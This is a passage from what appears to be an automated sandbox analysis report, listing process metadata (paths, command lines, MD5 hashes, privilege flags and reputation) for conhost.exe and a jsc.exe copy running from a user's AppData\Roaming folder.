Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	20
Start time:	11:28:22
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Roaming\jsc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\jsc.exe"
Imagebase:	0x2d0000
File size:	47'584 bytes
MD5 hash:	94C8E57A80DFCA2482DEDB87B93D4FD9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Target ID:	21
Start time:	11:28:22
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	22
Start time:	11:28:30
Start date:	01/07/2024
Path:	C:\Users\user\AppData\Roaming\jsc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\jsc.exe"
Imagebase:	0x3d0000
File size:	47'584 bytes
MD5 hash:	94C8E57A80DFCA2482DEDB87B93D4FD9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	23
Start time:	11:28:30
Start date:	01/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true